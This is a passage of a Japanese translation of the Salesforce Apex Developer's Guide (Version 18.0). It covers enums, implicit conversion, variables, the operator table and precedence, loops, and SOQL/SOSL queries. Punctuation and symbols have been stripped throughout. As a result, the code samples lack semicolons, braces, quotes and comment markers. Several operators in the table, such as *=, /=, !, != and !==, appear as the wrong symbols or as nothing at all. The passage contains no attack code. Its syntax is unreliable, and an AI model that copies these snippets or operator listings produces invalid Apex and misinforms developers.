bull SystemXmlTag

言語構造 Version 180 | Enum | 38

この enum はwebServiceメソッドの結果 XML を解析するために使用する XML タグのリストを返します詳細は「XmlStreamReaderクラス」 (ページ 366)を参照します

bull SystemLoggingLevel

この enum は systemdebugメソッドを使用してすべての debugコールのログレベルを指定します詳細は「システムメソッド」 (ページ 285)を参照してください

bull SystemRoundingMode

この enum はDecimal divideメソッドおよび Double roundメソッドなど処理の丸め動作を指定する数学的処理を実行するメソッドによって使用されます詳細は「丸めモード」 (ページ217)を参照してください

bull SystemSoapType

この enum は項目記述結果の getSoapTypeメソッドによって返されます詳細は「SchemaSOAPTypeEnum 値 (ページ 256)」を参照してください

bull SystemDisplayType

この enum は項目記述結果の getTypeメソッドによって返されます詳細は「SchemaDisplayType Enum値 (ページ 254)」を参照してください

bull ApexPagesSeverity

この enum はVisualforce メッセージの重要度を指定します詳細は「ApexPagesSeverity Enum」 (ページ326)を参照してください

bull DomXmlNodeType

DOM ドキュメントのノードの種類を指定します詳細は「ノードの種類 (ページ 357)」を参照してください

メモ システム定義の enum は Web サービスメソッドで使用することはできません

システム enum のすべての enum 値にはそれらに関連する共通メソッドがあります詳細は「Enum メソッド」 (ページ 237)を参照してください

ユーザー定義のメソッドを enum 値に追加することができません

変換の規則について通常Apexではあるデータ型を別のデータ型に変換する場合明示的に指示する必要がありますたとえばInteger データ型の変数を暗黙的に String に変換することはできませんstringformatメソッドを使用する必要がありますただし一部のデータ型ではメソッドを使用せず暗黙的に変換することができます

精度の低い数値型は明示的な変換をせずにより高精度の数値型に割り当てる事ができます次に示すのは数値の階層です (精度が低い方順に並んでいます)

1 Integer2 Long3 Double4 Decimal

メモ 値が精度の低い型から高い型に渡されると値は高い精度を持つ型に変換されます

言語構造 Version 180 | 変換の規則について | 39

この数値の階層と暗黙的な変換は元のインターフェースの数値が維持され暗黙の変換を禁止する Java とは異なります

数値のほかにも暗黙的に変換されるデータ型があります以下の規則が適用されます

bull ID は必ず String に割り当てることができますbull String は ID に割り当てることができますただし実行時値が正当な ID であることを確認します正当で

ない場合ランタイム例外が発生しますbull instanceOfキーワードにより文字列が ID であるかどうかいつでもテストできます

変数

ローカル変数はJava スタイルの構文で宣言されます例

Integer i = 0 String str Account a Account[] accts SetltStringgt s MapltID Accountgt m

Java と同様カンマ区切り形式を使用して複数の変数を単一のステートメントで宣言および初期化することができます例

Integer i j k

すべての変数は nullを値とすることができ別の値が割り当てられていない場合は nullに初期化されますたとえば次の例ではiおよび kには値が割り当てられjには値が割り当てられていないためnullに設定されます

Integer i = 0 j k = 1

変数はブロック内のどの場所でも定義できその場所から先のスコープとなりますサブブロックはすでに親ブロックで使用されている変数名を再定義できませんが並行ブロックは変数名を再利用できます例

Integer i Integer i この宣言は無効です

for (Integer j = 0 j lt 10 j++) for (Integer j = 0 j lt 10 j++)

大文字と小文字の区別大文字と小文字を区別しない SOQL および SOSL クエリとの混乱を避けるためApex も大文字と小文字の区別をしませんつまり次のようになります

bull 変数名とメソッド名は大文字と小文字の区別をしません例

Integer I Integer i これはエラーです

bull オブジェクト名および項目名への参照は大文字と小文字の区別をしません例

Account a1 ACCOUNT a2

言語構造 Version 180 | 変数 | 40

bull SOQL および SOSL ステートメントは大文字と小文字の区別をしません例

Account[] accts = [sELect ID From ACCouNT where nAme = fred]

またApex はSOQL と同じフィルタリングセマンティックを使用しますそれはAPI と Salesforcecom ユーザーインターフェースとの比較の基本となりますこれらのセマンティックを使用すると興味深い動作が発生しますたとえばエンドユーザーがアルファベットの「m」の前以前の値の条件 (つまり値 ltm) でレポートを実行するとnull 項目が結果の一部として返されますこれはすなわちユーザーは通常値を持たない項目について実際の「null」値ではなく単なる「スペース」文字として考えるということですそのためApexでは次の表現はすべて真に評価します

String s Systemassert(a == A) Systemassert(s lt b) Systemassert((s gt b))

メモ 上記の例では s lt bは真に評価しますが文字を null 値と比較しようとするためbcompareTo(s)はエラーを生成します

定数定数はfinalキーワードを使用して定義できます値は宣言自体でまたは定数がクラス内で定義されている場合は静的初期化子メソッドで一度のみ割り当てることができます例

public class myCls static final Integer PRIVATE_INT_CONST static finalInteger PRIVATE_INT_CONST2 = 200

public static Integer calculate() return 2 + 7

static PRIVATE_INT_CONST = calculate()

詳細は「finalキーワードの使用」 (ページ 102)を参照してください

式は変数演算子単一の値を評価するメソッド呼び出しで構成されますこの項ではApex の式の概要および以下のトピックについて説明しています

bull 式の理解 (ページ 41)bull 式の演算子について (ページ 42)bull 演算子の優先度について (ページ 48)bull sObject 式およびリスト式の拡張 (ページ 49)bull コメントの使用 (ページ 49)

式について式は変数演算子単一の値を評価するメソッド呼び出しで構成されますApex の場合式は次のタイプのいずれかでなければなりません

言語構造 Version 180 | 定数 | 41

bull リテラル式例

1 + 1

bull 新しい sObjectApex オブジェクトリストセットまたはマップ例

new Account(ltfield_initializersgt) new Integer[ltngt] new Account[]ltelementsgt newListltAccountgt() new SetltStringgt new MapltString Integergt() new myRenamingClass(stringoldName string newName)

bull 変数一次元リストの場所多くの sObject または Apex オブジェクト項目の参照など代入演算子の左側として機能できる値 (L-値)例

Integer i myList[3] myContactname myRenamingClassoldName

bull sObject 項目参照L-値ではなく次のようなものがあります

- リストの sObject の ID (「リスト」を参照してください)- sObject に関連する子レコードのセット (親取引先と関連する連絡先のセットなど)この種類の式は

「SOQL クエリおよび SOSL クエリ」と同様クエリ結果を生成します

bull 大かっこで囲まれた SOQL クエリまたは SOSL クエリApex で容易に評価できます例

Account[] aa = [select id name from account where name =Acme] Integer i = [selectcount() from contact where lastname =Weissman] ListltListltSObjectgtgt searchList = [FINDmap IN ALL FIELDS RETURNING Account (id name) Contact Opportunity Lead]

詳細は「SOQL クエリおよび SOSL クエリ」 (ページ 55)を参照してくださいbull 静的メソッドまたはインスタンスメソッドの呼び出し例

Systemassert(true) myRenamingClassreplaceNames() changePoint(new Point(x y))

式の演算子について演算子を使用して式をお互いに結合し複合式を作成することができますApex では次の演算子を使用できます

説明構文演算子

代入演算子 (右結合)yの値を L-値 xに割り当てますxのデータ型は yのデータ型と一致する必要がありnullとなることはできません

x = y=

加算代入演算子 (右結合)yの値を xの元の値に追加しxに新しい値を再代入します詳細は+を参照してくださいxおよび yをnullとすることはできません

x += y+=

乗算代入演算子 (右結合)yの値を xの元の値に乗算しxに新しい値を再代入しますxおよび yは Integer または Doubleまたは組み

x = y=

言語構造 Version 180 | 式の演算子について | 42

説明構文演算子

合わせである必要がありますxおよび yを nullとすることはできません

減算代入演算子 (右結合)yの値を xの元の値から減算しxに新しい値を再代入しますxおよび yは Integer または Doubleまたは組

x -= y-=

み合わせである必要がありますxおよび yを nullとすることはできません

除算代入演算子 (右結合)yの元の値を xで除算しxに新しい値を再代入しますxおよび yは Integer または Doubleまたは組み合わ

x = y=

せである必要がありますxおよび yを nullとすることはできません

OR 代入演算子 (右結合)xが Boolean かつ yが Boolean でいずれも偽である場合xは偽のままとなりますそうでない場合xには真の値を代入します

メモ

x |= y|=

bull この演算子は「短絡な」動作を示しyはxが偽の場合にのみ評価されます

bull xおよび yを nullとすることはできません

AND 代入演算子 (右結合)xが Boolean かつ yが Boolean でいずれも真である場合xは真のままとなりますそうでない場合xには偽の値を代入します

メモ

x amp= yamp=

bull この演算子は「短絡な」動作を示しyはxが真の場合にのみ評価されます

bull xおよび yを nullとすることはできません

ビット単位の左シフト代入演算子xの各ビットをyビットで左にシフトします上位の順番のビットが失われ新しい右側のビットが 0に設定されますこの値は xに再代入されます

x ltlt= yltlt=

ビット単位の右シフト符号付き代入演算子xの各ビットをyビットで右にシフトします回の順番のビットが失われ新しい左のビッ

x gtgt= ygtgt=

トがyが正の値の場合 0 にyが負の値の場合 1 に設定されますこの値は xに再代入されます

ビット単位の右シフト符号なし代入演算子xの各ビットをyビットで右にシフトします下位の順番のビットが失われyのすべての値

x gtgtgt= ygtgtgt=

について新しい左側のビットが 0 に設定されますこの値は xに再代入されます

3 項演算子 (右結合)この演算子はif-then-else ステートメントの短縮として機能しますxが Boolean で真の場合yが結果となります

x y z

そうでない場合zが結果となりますxを nullとすることはできません

言語構造 Version 180 | 式の演算子について | 43

説明構文演算子

AND 論理演算子 (左結合)xが Boolean かつ yが Boolean でいずれも真である場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x ampamp yampamp

bull ampampは ||より優先されますbull この演算子は「短絡な」動作を示しyはxが真の場合にのみ評

価されますbull xおよび yを nullとすることはできません

OR 論理演算子 (左結合)xが Boolean かつ yが Boolean でいずれも偽である場合式は偽に評価しますそうでない場合式は真に評価します

メモ

x || y||

bull ampampは ||より優先されますbull この演算子は「短絡な」動作を示しyはxが偽の場合にのみ評

価されますbull xおよび yを nullとすることはできません

等価演算子xの値がyの値に等しい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x == y==

bull Java とは異なりApex の ==は参照の等式ではなくオブジェクト値の等式を比較します結果次のようになります

- ==を使用した文字列の比較では大文字と小文字を区別しません

- ==を使用した ID の比較では大文字と小文字を区別し15 文字の形式および 18 文字の形式を区別しません

bull sObjects および sObject の配列に対し==は結果を返す前にすべての sObject に詳細なチェックを実行します

bull レコードに対し各項目には真に評価する ==の値が含まれている必要があります

bull xまたは yをリテラルの nullとすることができますbull 2 つの値の比較により nullとなることはありませんbull SOQL および SOSL では==ではなく等価演算子の =を使用

しますApexと SOQL および SOSL は強くリンクしていますが多くの近代言語では代入に =そして等式に ==を使用するため構文の不一致が発生しますApexのデザイナーは開発者が新しい代入演算子を学ばずにこのパラダイムを維持することが重要であると考えていますその結果Apex開発者は主要なスクリプト本文で ==を等式テストにそして SOQL クエリおよび SOSL クエリの =等式に使用する必要があります

言語構造 Version 180 | 式の演算子について | 44

説明構文演算子

厳密な等価演算子xおよびyがメモリ内のまったく同じ場所を参照する場合式は真に評価しますそうでない場合式は偽に評価しま

x === y===

すこの演算子は sObjects またはコレクション (マップまたはリストなど) のみを処理しますApex オブジェクト (例外またはクラスのインスタンス化など) の場合厳密な等価演算子は等価演算子と同じです

小なり演算子xがyより小さい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x lt ylt

bull その他のデータベースストアドプロシージャと異なりApexでは3 状態 Boolean ロジックはサポートされておらず2 つの値の比較によって nullとなることはありません

bull xまたは yが nullで IntegerDoubleDateまたは Datetime となる場合式は偽となります

bull null以外の String または ID 値は常に null値より大きくなります

bull xおよびyが ID の場合それらは同じデータ型のオブジェクトを参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

大なり演算子xがyより大きい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x gt ygt

bull 2 つの値の比較により nullとなることはありませんbull xまたは yが nullで IntegerDoubleDateまたは Datetime と

なる場合式は偽となりますbull null以外の String または ID 値は常に null値より大きくなりま

すbull xおよびyが ID の場合それらは同じデータ型のオブジェクトを

参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

言語構造 Version 180 | 式の演算子について | 45

説明構文演算子

以下演算子xがyより小さいまたは等しい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x lt= ylt=

bull 2 つの値の比較により nullとなることはありませんbull xまたは yが nullで IntegerDoubleDateまたは Datetime と

なる場合式は偽となりますbull null以外の String または ID 値は常に null値より大きくなりま

すbull xおよびyが ID の場合それらは同じデータ型のオブジェクトを

参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

以上演算子xがyより大きいまたは等しい場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x gt= ygt=

bull 2 つの値の比較により nullとなることはありませんbull xまたは yが nullで IntegerDoubleDateまたは Datetime と

なる場合式は偽となりますbull null以外の String または ID 値は常に null値より大きくなりま

すbull xおよびyが ID の場合それらは同じデータ型のオブジェクトを

参照する必要がありますそうでない場合ランタイムエラーが発生します

bull xまたは yのいずれかが ID でもう一方が String の場合String 値は ID として検証され処理されます

bull xおよび yはBoolean とすることはできませんbull 2 つの文字列の比較はコンテキストユーザーのロケールにした

がって実行されます

不等価演算子xの値がyの値と等しくない場合式は真に評価しますそうでない場合式は偽に評価します

メモ

x = y=

bull Java とは異なりApex の =は参照の等式ではなくオブジェクト値の等式を比較します

bull sObjects および sObject の配列に対し=は結果を返す前にすべての sObject に詳細なチェックを実行します

言語構造 Version 180 | 式の演算子について | 46

説明構文演算子

bull レコードについてレコードに項目のさまざまな値がある場合=

は真に評価しますbull xまたは yをリテラルの nullとすることができますbull 2 つの値の比較により nullとなることはありません

厳密な不等価演算子xおよびyがメモリ内のまったく同じ場所を参照しない場合式は真に評価しますそうでない場合式は偽に評価

x == y==

しますこの演算子は sObjects またはコレクション (マップまたはリストなど)または Apex オブジェクト (クラスの例外またはインスタンス化) のみを処理します

加算演算子次のルールに従ってxの値を yの値に追加しますx + y+

bull xおよび yが Integer または Double の場合xの値は yの値に追加しますDouble が使用されると結果は Double となります

bull xが Date で yが Integer の場合指定した日数で増加した新しいDate を返します

bull xが Datetime で yが Integer または Double の場合日の部分に対応する分数部分で指定した日数で増加した新しい Date を返します

bull xが String で yが String またはその他のデータ型の null以外の引数である場合yを xの終わりに連結します

減算演算子次のルールに従ってyの値からyの値を減算しますx - y-

bull xおよび yが Integer または Double の場合xの値を yの値から引きますDouble が使用されると結果は Double となります

bull xが Date で yが Integer の場合指定した日数分減少した新しいDate を返します

bull xが Datetime で yが Integer または Double の場合日の部分に対応する分数部分で指定した日数分減少した新しい Date を返します

乗算演算子Integer または Double の xと別の Integer または Doubleである yを乗算しますDouble が使用されると結果は Double となります

x y

除算演算子Integer または Double の xを別の Integer または Doubleである yで除算しますDouble が使用されると結果は Double となります

x y

論理補数演算子Boolean の値を反転し真は偽に偽を真にします

x

単項否定演算子Integer または Double の xを -1 で乗算します正の等価 +も構文的に有効ですが数学的に影響はありません

-x-

インクリメント演算子1 を Integer または Double である xの値に追加します前に記述した場合 (++x)ステートメントの残りが実行さ

x++

++x

++

言語構造 Version 180 | 式の演算子について | 47

説明構文演算子

れる前に増加します後に記述した場合 (++x)ステートメントの残りが実行された後に増加します

デクリメント演算子1 を Integer または Double である xの値から減算します前に記述した場合 (--x)ステートメントの残りが実行さ

x--

--x

--

れる前に減算します後に記述した場合 (x--)ステートメントの残りが実行された後に減算します

ビット単位の AND 演算子xの各ビットと yの対応するビットをAND 演算します両方のビットが 1 に設定されると結果ビットは 1

x amp yamp

に設定されますこの演算子は Long または Integer には使用できません

ビット単位の OR 演算子xの各ビットと yの対応するビットを OR演算します少なくとも 1 つのビットが 1 に設定されると結果ビット

x | y|

は 1 に設定されますこの演算子は Long または Integer には使用できません

ビット単位の排他的 OR 演算子xの各ビットと yの対応するビットに排他的な OR 演算をします1 つのビットが 1 に設定されもう一方が 0 に設定されると結果ビットは 1 に設定されます

x ^ y^

ビット単位の排他的 OR 演算子xの各ビットと yの対応するビットに排他的な OR 演算をします1 つのビットが 1 に設定されもう一方が 0 に設定されると結果ビットは 1 に設定されます

x ^= y^=

ビット単位の左シフト演算子xの各ビットをyビットで左にシフトします上位の順番のビットが失われ新しい右側のビットが 0 に設定されます

x ltlt yltlt

ビット単位の右シフト符号付き演算子xの各ビットをyビットで右にシフトします回の順番のビットが失われ新しい左のビットがyが正の値の場合 0 にyが負の値の場合 1 に設定されます

x gtgt ygtgt

ビット単位の右シフト符号なし演算子xの各ビットをyビットで右にシフトします下位の順番のビットが失われyのすべての値について新しい左側のビットが 0 に設定されます

x gtgtgt ygtgtgt

小かっこ式xの優先度を結合式で最初に評価されるようにします

(x)()

演算子の優先度についてApex では次の演算子優先度の規則を使用しています

説明演算子優先度

グループと前置インクリメントおよびデクリメント

() ++ --1

言語構造 Version 180 | 演算子の優先度について | 48

説明演算子優先度

単項否定型変換およびオブジェクト作成 -x +x (type) new2

乗算および除算 3

加算および減算+ -4

大なり記号および小なり記号参照テストlt lt= gt gt= instanceof5

比較子 等しい等しくない== =6

論理的 ANDampamp7

論理的 AND||8

代入演算子= += -= = = amp=9

sObject 式およびリスト式の拡張Java と同様sObject 式とリスト式はメソッド参照およびリスト式をそれぞれ使用して拡張子新しい式を形成することができます

次の例では新しい取引先名の長さを含む新しい変数が acctNameLengthに割り当てられます

Integer acctNameLength = new Account[]new Account(name=Acme)[0]namelength()

上記ではnew Account[]はリストを生成します

このリストはSOQL ステートメント new Account(name=Acme)によって入力されます

Item 0つまりリストの最初の項目は文字列 [0]の次の部分によってアクセスされます

リストの sObject の名前にアクセスし長さ namelength()を返すメソッドが続きます

次の例では小文字にシフトした名前が返されます

String nameChange = [SELECT Name FROM Account][0]NametoLowerCase()

コメントの使用Apex スクリプトでは単一のコメントおよび複数のコメントを使用できます

bull 1 行のコメントを作成するにはを使用しますの右側の同じ行にあるすべての行がパーサーによって無視されます例

Integer i = 1 このコメントはパーサーによって無視されます

bull 複数のコメントを作成するにはおよび を使用してコメントブロックの最初と最後を指定します例

Integer i = 1 このコメントはパーサーに中断されることなく複数行にわたることができます

言語構造 Version 180 | sObject 式およびリスト式の拡張 | 49

代入ステートメント

代入ステートメントは次の 2 つのいずれかの方法で値を変数に代入するステートメントです

[LValue] = [new_value_expression] [LValue] = [[inline_soql_query]]

上記の形式で[LValue]は代入演算子の左側に投入できる式を表しますその具体的な内容は次のとおりです

bull 単純な変数例

Integer i = 1 Account a = new Account() Account[] accts = [select id from account]

bull 参照が解決されたリスト要素例

ints[0] = 1 accts[0]name = Acme

bull コンテキストユーザーが編集する権限を持つ sObject 項目参照例

Account a = new Account(name = Acme billingcity = San Francisco)

ID は手動で設定できません aid = 00300000003T2PGAA0 このコードは無効です

代わりにレコードを挿入します自動的に ID を挿入します insert a

コンテキストユーザーはこの項目の書き込み権限を割り当てられている必要があります acreatedDate= Systemtoday() このコードは createdDate が読み取り専用であるため無効です

取引先が追加されているため関連する 新しい連絡先を作成することができます Contact c = newContact(lastname = Roth account = a)

連絡先を使用して取引先名に直接書き込むことができます caccountname = salesforcecom

代入は必ず参照によって行われます例

Account a = new Account() Account b Account[] c = new Account[] aname = Acme b =a cadd(a)

真であることを確認します取引先 b および取引先リスト c を介して 元来取引先 a に割り当てられていたデータを参照することができます SystemassertEquals(bname Acme)SystemassertEquals(c[0]name Acme)

同様に2 つのリストはメモリ内の同じ値を示すことができます例

Account[] a = new Account[]new Account() Account[] b = a a[0]name = AcmeSystemassert(b[0]name == Acme)

=のほか有効な割り当て演算子には +===|=amp=++および --があります詳細は「式の演算子について」 (ページ 42)を参照してください

言語構造 Version 180 | 代入ステートメント | 50

条件 (If-Else) ステートメント

Apex の条件ステートメントはJava と同じように動作します

if ([Boolean_condition]) Statement 1 else Statement 2

elseの部分は常にオプションで最も近い ifでグループ化されます例

Integer x sign Your code if (x lt= 0) if (x == 0) sign = 0 else sign = -1

次と同等となります

Integer x sign Your code if (x lt= 0) if (x == 0) sign = 0 else sign = -1

繰り返しの else ifステートメントも使用できます例

if (place == 1) medal_color = gold else if (place == 2) medal_color = silver else if (place == 3) medal_color = bronze else medal_color = null

ループ

Apex では次の 5 種類の手続き型ループをサポートしています

bull do statement while (Boolean_condition)

bull while (Boolean_condition) statement

bull for (initialization Boolean_exit_condition increment) statement

bull for (variable array_or_set) statement

bull for (variable [inline_soql_query]) statement

すべてのループは以下のループ制御構文を使用できます

bull breakループ全体を終了しますbull continueループの次の反復にスキップします

Do-While ループApex do-whileループは特定の Boolean 条件が真である限りコードのブロックを繰り返し実行します構文は次のとおりです

do code_block while (condition)

メモ 中かっこ () が必ず code_blockを囲みます

言語構造 Version 180 | 条件 (If-Else) ステートメント | 51

Java と同様Apex do-whileループは最初のループが実行されるまでBoolean 条件ステートメントをチェックしませんその結果コードブロックは最低 1 回実行されます

例として次のコードは1 - 10 の数値をデバッグログに出力します

Integer count = 1

do Systemdebug(count) count++ while (count lt 11)

While ループApexwhileループは特定の Boolean 条件が真である限りコードのブロックを繰り返し実行します構文は次のとおりです

while (condition) code_block

メモ 中かっこ () は複数のステートメントが含まれている場合にのみ code_blockを囲む必要があります

do-whileと異なりwhile lループは最初のループが実行される前に Boolean 条件ステートメントをチェックしますその結果コードブロックが実行されない場合もあります

例として次のコードは1 - 10 の数値をデバッグログに出力します

Integer count = 1

while (count lt 11) Systemdebug(count) count++

For ループApex では3 種類の forループを使用できます

bull 従来の forループ

for (init_stmt exit_condition increment_stmt) code_block

bull リスト反復またはセット反復の forループ

for (variable list_or_set) code_block

この場合 variableは list_or_setと同じプリミティブデータ型または sObject 型と同じである必要がありません

bull SOQL forループ

for (variable [soql_query]) code_block

or

for (variable_list [soql_query]) code_block

言語構造 Version 180 | While ループ | 52

variableおよび variable_listは soql_queryで返される sObject と同じデータ型でなければなりません

メモ 中かっこ () は複数のステートメントが含まれている場合にのみ code_blockを囲む必要があります

それぞれについて後の項で詳細に説明されています

従来の For ループ

Apex の従来の forループはJava およびその他の言語で使用される従来の構文に対応しています構文は次のとおりです

for (init_stmt exit_condition increment_stmt) code_block

この種類の forループを実行するとApex ランタイムエンジンは次のステップを順番に実行します

1 ループの init_stmtコンポーネントを実行します複数の変数をステートメントで宣言および初期化できます

2 exit_conditionチェックを実行します真の場合ループが続行します偽の場合ループが終了します3 code_blockを実行します4 increment_stmtステートメントを実行します5 ステップ 2 に戻ります

例として次のコードは1 - 10 の数値をデバッグログに出力します追加の初期化変数jを使用して構文を実証します

for (Integer i = 0 j = 0 i lt 10 i++) Systemdebug(i+1)

リスト反復またはセット反復の For ループ

リスト反復またはセット反復の forループを使用するとリスト内またはセット内のすべての要素を反復します構文は次のとおりです

for (variable list_or_set) code_block

この場合 variableは list_or_setと同じプリミティブデータ型または sObject 型と同じである必要がありません

この種類の forループを実行するとApex ランタイムエンジンは variableを list_or_setの各要素に割り当て各値の code_blockを実行します

たとえば次のコードは1 - 10 の数値をデバッグログに出力します

Integer[] myInts = new Integer[]1 2 3 4 5 6 7 8 9 10

for (Integer i myInts) Systemdebug(i)

言語構造 Version 180 | For ループ | 53

SOQL For ループ

SOQL forループは SOQL クエリで返されたすべての sObject レコードを反復しますSOQL forループの構文は次のいずれかになります

for (variable [soql_query]) code_block

or

for (variable_list [soql_query]) code_block

variableおよび variable_listは soql_queryで返される sObject と同じデータ型でなければなりません標準 SOQL クエリと同様[soql_query]ステートメントは 構文を使用して WHERE句のスクリプト式を参照することができます例

String s = Acme for (Account a [select id name from account where name like (s+)]) Your code

次の例ではSOQL クエリのリスト作成と DML updateメソッドを結合します

SOQL クエリから取引先レコードのリストを作成 ListltAccountgt accs = [SELECT Id Name FROM AccountWHERE Name = Siebel]

リストをループして Name 項目を更新 for(Account a accs) aname = Oracle

データベースを更新 update accs

SOQL For ループと標準 SOQL クエリの比較

SOQL forループと SOQL ステートメントはsObjects を取得するために使用するメソッドが異なります「SOQL クエリおよび SOSL クエリ」で説明されている標準クエリはクエリの countまたは多くのオブジェクトレコードを取得できますがSOQL forループはForcecom Web サービス API の queryメソッドおよびqueryMoreメソッドへのコールによる効果的なチャンクを使用してすべての sObject を取得します開発者は常に SOQL forループを使用して多くのレコードを返すクエリ結果を処理しヒープサイズの制限を回避します

集計関数を含むクエリではqueryMoreをサポートしませんforループの 2000 を超える行を返す集計関数を含むクエリーを使用する場合ランタイムの例外エラーが発生します

SOQL For ループの形式

SOQL forループは単一の sObject 変数を使用して一度に 1 件のレコードをsObject リストを使用して 200 のsObject をバッチで処理できます

bull 単一の sObject 形式は forループの ltcode_blockgtを sObject レコードごとに 1 回ずつ実行しますその結果理解および使用が容易ですがforループの本文内でデータ操作言語 (DML) ステートメントを使用する場合効果が大幅に減少しますDML ステートメントは一度に 1 つの sObject のみの処理を終了します

bull sObject リスト形式は forループの ltcode_blockgtを 200 件の sObject リストごとに 1 回ずつ実行しますその結果理解および使用がやや難しくなりますがforループの本文内でDML ステートメントを使用する必要がある場合最適な選択となりますDML ステートメントはsObject のリストを一括処理します

言語構造 Version 180 | For ループ | 54

たとえば次のコードは 2 種類の SOQL クエリ forループ間の差異を示します

データをデータベースにコミットできないため savepoint を作成します Savepoint sp =DatabasesetSavepoint()

insert new account[]new account(name = yyy) new account(name = yyy) new account(name= yyy)

単一の sObject 形式は返されたレコードごとに for ループを一度ずつ実行 Integer I = 0 for (accounttmp [select id from account where name = yyy]) i++ Systemassert(i == 3) デー

タベースに「yyy」という取引先が 3 つあるため ループを 3 回実行

sObject リスト形式を返されたレコードのバッチごとにループを一度ずつ 実行します i = 0 Integer jfor (account[] tmp [select id from account where name = yyy]) j = tmpsize() i++ Systemassert(j == 3) リストには「yyy」という名前の取引先が 3 件 含まれていますSystemassert(i == 1) 1 つのバッチには最大 100 件のレコードを含むことができ 2 件のレコードのみを返すことができ ループは 1 回だけ実行できます

データベースを元の状態に戻します Databaserollback(sp)

メモ

bull breakキーワードと continueキーワードはどちらのインラインクエリ forループ形式でも使用できますsObject リスト形式を使用するとcontinueはsObjects の次のリストにスキップします

bull DML ステートメントは一度に最大 1000 件のレコードを処理できsObject リスト forループは 200件のレコードを一括処理しますその結果sObject リストforループの返されたレコードごとに複数のレコードを挿入更新または削除する場合ランタイム制限エラーが発生する場合があります詳細は「実行ガバナーと制限の理解」を参照してください

SOQL および SOSL クエリ

ステートメントを大かっこで囲むことによってApex の Salesforcecom オブジェクトクエリ言語 (SOQL) またはSalesforcecom オブジェクト検索言語 (SOSL) ステートメントを評価することができます

SOQL ステートメント

SOQL ステートメントはsObjects のリスト単一 sObjectまたは countメソッドクエリの Integer を評価します

たとえばAcme という取引先のリストを取得できます

ListltAccountgt aa = [select id name from account where name = Acme]

このリストからは各要素にアクセスできます

if (aaisEmpty()) Execute commands

言語構造 Version 180 | SOQL および SOSL クエリ | 55

既存のオブジェクトの SOQL クエリから新しいオブジェクトを作成することもできます次の例では従業員数が 10 人より多い最初の取引先の新しい取引先担当者を作成します

Contact c = new Contact(account = [select name from account where NumberofEmployees gt 10limit 1]) cFirstName = James cLastName = Yoyce

新規作成したオブジェクトにはこの項目の Null 値を含みます設定する必要はありません

countメソッドを使用してクエリによって返される行数を返すことができます次の例では姓が Weissmanの取引先担当者数の合計を返します

Integer i = [select count() from contact where lastname = Weissman]

標準の計算を使用して結果に操作することもできます

Integer j = 5 [select count() from account]

SOQL クエリ構文の説明については『Forcecom Web Services API Developers Guide』の「 Salesforcecom オブジェクトクエリ言語 (SOQL)」を参照してください

SOSL ステートメント

SOSL はそれぞれの sObject 型が含まれているsObject のリストのリストとして評価します結果リストは必ずSOSL クエリで指定された順序で返されますSOSL クエリはApex クラスおよび特定ブロックでのみサポートされますトリガで SOSL を使用することはできませんSOSL クエリが指定された sObject 型のレコードを返さない場合検索結果にはその対応する sObject の空のリストが返されます

たとえばフレーズマップで始まる取引先取引先担当者商談およびリードのリストを返します

ListltListltSObjectgtgt searchList = [FIND map IN ALL FIELDS RETURNING Account (id name)Contact Opportunity Lead]

メモ

Apex の FIND句の構文はForcecom Web サービス API の FIND句と異なります

bull Apex の場合FIND句の値は単一引用符で区画されます例

FIND map IN ALL FIELDS RETURNING Account (id name) Contact OpportunityLead

bull Forcecom API の場合FIND句の値は中かっこで区画されます例

FIND map IN ALL FIELDS RETURNING Account (id name) Contact OpportunityLead

searchListから返される各オブジェクトの配列を作成できます

Account [] accounts = ((ListltAccountgt)searchList[0]) Contact [] contacts =((ListltContactgt)searchList[1]) Opportunity [] opportunities =((ListltOpportunitygt)searchList[2]) Lead [] leads = ((ListltLeadgt)searchList[3])

言語構造 Version 180 | SOQL および SOSL クエリ | 56

SOSL クエリ構文の説明については『Forcecom Web Services API Developers Guide』の「 Salesforcecom オブジェクト検索言語 (SOSL)」を参照してください

SOQL および SOSL クエリ結果の処理SOQL クエリおよび SOSL クエリは元のクエリで選択された sObject 項目のデータのみを返しますSOQL クエリまたは SOSL クエリで選択されていない項目にアクセスしようとする場合 (ID 以外)データベースの項目に値が含まれている場合でもランタイムエラーが発生します次のコード例ではランタイムエラーが発生します

insert new Account(name = Singha) Account acc = [select id from account where name =Singha limit 1] Note that name is not selected String name = [select id from accountwhere name = Singha limit 1]name

次のコード例はランタイムエラーが発生しないように書き換えられていますnameがidの後にselect ステートメントの一部として追加されています

insert new Account(name = Singha) Account acc = [select id from account where name =Singha limit 1] Note that name is now selected String name = [select id name fromaccount where name = Singha limit 1]name

つのsObjectを必要とする場合でもSOQLクエリまたはSOSLクエリは必ずすべてのデータを返しますその結果特定の項目にアクセスするためには項目に対する参照を解決する必要がありますたとえばこのコードはSOQL クエリでデータベースから sObject リストを取得しリスト内の最初の取引先レコードにアクセスしレコードの annualRevenue項目の参照を解決します

Double rev = [select annualRevenue from account where name = Acme][0]annualRevenue

SOQL クエリの 1 つの結果だけが返される場合リストの索引に 含める必要はありませんDouble rev2 =[select annualRevenue from account where name = Acme]annualRevenue

SOQL クエリの結果で sObject 項目の参照を解決する必要がないのはクエリがcount演算子の結果として Integerを返す場合のみです

Integer i = [select count() from account]

SOSL クエリで返されるレコードの項目は必ず参照解決する必要があります

数式を含む sObject 項目はSOQL クエリまたはSOSL クエリが発行されたときに項目の値を返します数式内で使用されているその他の項目に対する変更はレコードが Apex に保存しおよび再び問い合わせされるまで数式項目の値に反映されませんその他の読み取り専用 sObject 項目と同様数式項目の値自体をApexで変更することはできません

